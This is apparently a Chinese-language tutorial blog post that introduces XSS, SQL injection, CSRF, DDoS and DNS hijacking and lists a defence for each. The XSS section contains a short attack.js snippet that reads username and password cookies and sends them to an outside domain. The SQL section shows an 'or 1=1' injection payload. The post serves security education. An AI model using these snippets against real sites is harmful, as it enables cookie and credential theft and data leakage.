一文搞懂│XSS攻擊、SQL注入、CSRF攻擊、DDOS攻擊、DNS劫持
- 2022 年 8 月 8 日
- 筆記
- 《一文讓你搞懂系列》, 經驗分享, 網絡安全
🎈 XSS 攻擊
- 全稱跨站腳本攻擊
Cross Site Scripting - 為了與重疊樣式表
CSS進行區分,所以換了另一個縮寫名稱XSS XSS攻擊者通過篡改網頁,注入惡意的HTML腳本,一般是javascript,在用戶瀏覽網頁時,控制用戶瀏覽器進行惡意操作的一種攻擊方式XSS攻擊經常使用在論壇,博客等應用中。攻擊者可以偷取用戶Cookie、密碼等重要數據,進而偽造交易、盜取用戶財產、竊取情報等私密信息
xss教學
- 就像上圖,如果用戶在評論框中輸入的並不是正常的文本,而是一段
javascript腳本,而後台又沒對該用戶的數據進行處理,直接存入數據庫,那麼當其他用戶過來訪問該頁面,瀏覽器必然會執行這段腳本 - 當然這只是惡趣味,而真正的黑客並不會僅僅滿足這樣的惡趣味,可能更多的是想通過這些
注入腳本,獲取你的個人信息,甚至是你的賬號密碼等信息
xss攻擊
- 由上圖可知,用戶其實在評論的時候,引入了一個第三方腳本,在這個腳本中獲取你瀏覽器的
cookie信息,並發送到指定的接口進行保存處理,這樣你的信息就已經泄露了
// attack.js 中的邏輯
var uname = $.cookie('username'); // 獲取賬號
var pwd = $.cookie('password'); // 獲取密碼
// 發送請求
$('body').appendTo('<script src=`//autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
- 在上面邏輯中,腳本中獲取了你的個人信息,並將你的個人信息發送到後端
php文件中進行處理保存,這樣你的個人信息就已經泄露了,所以杜絕xss攻擊在網絡安全中非常的重要 - 所以後端永遠不要相信用戶提交的數據,在接收用戶提交的信息時候,要進行
消毒處理 - 也就是過濾一些特殊的字符,比如
javascript腳本中的<>進行轉移<>再進行存儲,這樣就能有效的進行xss攻擊的預防 - 另外如果
cookie中設置了HttpOnly屬性,那麼通過js腳本將無法讀取到cookie信息,這樣也能有效的防止XSS攻擊竊取cookie內容
xss攻擊
🎈 SQL 注入
SQL注入攻擊指的是攻擊者在HTTP請求中注入惡意SQL命令,服務器用請求參數構造數據庫SQL命令時,惡意SQL被一起構造,並在數據庫中執行,以便得到數據庫中的感興趣的數據或對數據庫進行讀取、修改、刪除、插入等敏感的操作,從而導致數據被隨意篡改- 但是
SQL注入攻擊,需要攻擊者對數據庫表有所了解才行,比如你的項目開源了,不小心公開了數據庫的賬號和密碼;另外你的網站上線沒有關閉調試模式,有心者可以網站的根據錯誤回顯可以猜測表結構;另外還有就是盲注,也即是很多有心者會盲猜數據表結構,但是這種難度最大 SQL注入可以通過預編譯手段進行預防,綁定參數是最好的防SQL注入方法。現在流行的框架基本都實現了SQL預編譯和參數綁定,惡意攻擊的SQL會被當做SQL的參數,而不是SQL命令被執行
# 正常獲取用戶信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用戶表中的所有數據全部查出,導致數據泄露
select * from users where id=1 or 1=1
SQL注入
🎈 CSRF 攻擊
CSRF全稱Cross Site Request Forgery,跨站點請求偽造,攻擊者通過跨站請求,以合法的用戶身份進行非法操作,如轉賬交易、發表評論等。其核心是利用了瀏覽器Cookie或服務器的Session策略,盜取用戶的身份信息- 在打開
A網站的情況下,另開Tab頁面打開惡意網站B,此時在B頁面的惡意意圖下,瀏覽器發起一個對網站A的HTTP請求 - 因為之前
A網站已經打開了,瀏覽器存有A網站中的Cookie或其他用於身份認證的信息,這一次被惡意意圖的請求,將會自動帶上這些信息,這將會導致身份劫持,造成並非本人意願的操作結果 - 而對應
CSRF攻擊的防禦策略有:表單token、驗證碼、Referer 檢測等
CSRF攻擊
🎈 DDOS 攻擊
DDOS全稱Distributed Denial of Service,分佈式拒絕服務攻擊。是拒絕服務攻擊的升級版。拒絕攻擊服務其實就是讓你的服務不能正常給用戶提供服務,也就是俗話說的服務宕機。常用於攻擊對外提供服務的服務器,像常見的:Web服務、郵件服務、DNS服務、即時通訊服務這些等- 在早期發起
DoS攻擊是一件很容易的事情,只需要寫個程序讓服務過載,無暇提供正常服務即可,也就是一秒中請求服務多次,將目標服務器的內存跑崩 - 後來隨着技術對發展,現在的服務器都是分佈式,並不是單一服務器提供服務,一個服務背後擁有着是數不清的
CDN節點,也是就擁有着數不清的Web服務器。想靠單台服務器去攻擊這種分佈式網絡,無異於對方以卵擊石,而且現在很多DDOS 攻擊都不是免費的,所以很容易造成偷雞不成蝕把米 - 防禦手段:隨着技術發展到今天也並不能完全杜絕這種攻擊的出現,只能通過技術去緩解。其中包括:
流量清洗、SYN Cookie等等
DDoS攻擊
🎈 DNS 劫持
- 當今互聯網流量中,以
HTTP/HTTPS為主的Web服務產生的流量佔據了絕大部分 Web服務發展的如火如荼,這背後離不開一個默默無聞的大功臣就是域名解析系統,DNS提供將域名轉換成ip地址的服務,每一個域名的解析都要經過DNS,所以可以看出它的重要性- 正是因為它的重要性,所以
DNS劫持很容易被別有用心的人利用 - 早期並沒有考慮太多的安全性,所以導致
DNS很容易被劫持 - 如果攻擊者篡改
DNS解析設置,將域名由正常IP指向由攻擊者控制的非法IP,就會導致我們訪問域名打開的卻不是對應的網站,而是一個假冒或者別有用心的網站。這種攻擊手段就是DNS劫持 - 通過
DNS劫持簡單點可以導致用戶流失,嚴重的後果甚至惠將用戶誘導至攻擊者控制額非法網站,可能會造成銀行卡號、手機號碼、賬號密碼等重要信息的泄露 - 後來出現了
DNSSEC技術,雖然在一定程度上解決了劫持問題,但是國內並沒有太多應用的案例,因此後來阿里、騰訊推出了httpDNS服務也一定程度上可以抑制這種攻擊手段 - 另外可以
安裝SSL證書。SSL證書具備服務器身份認證功能,可以使DNS 劫持導致的連接錯誤情況及時被發現和終止
DNS劫持

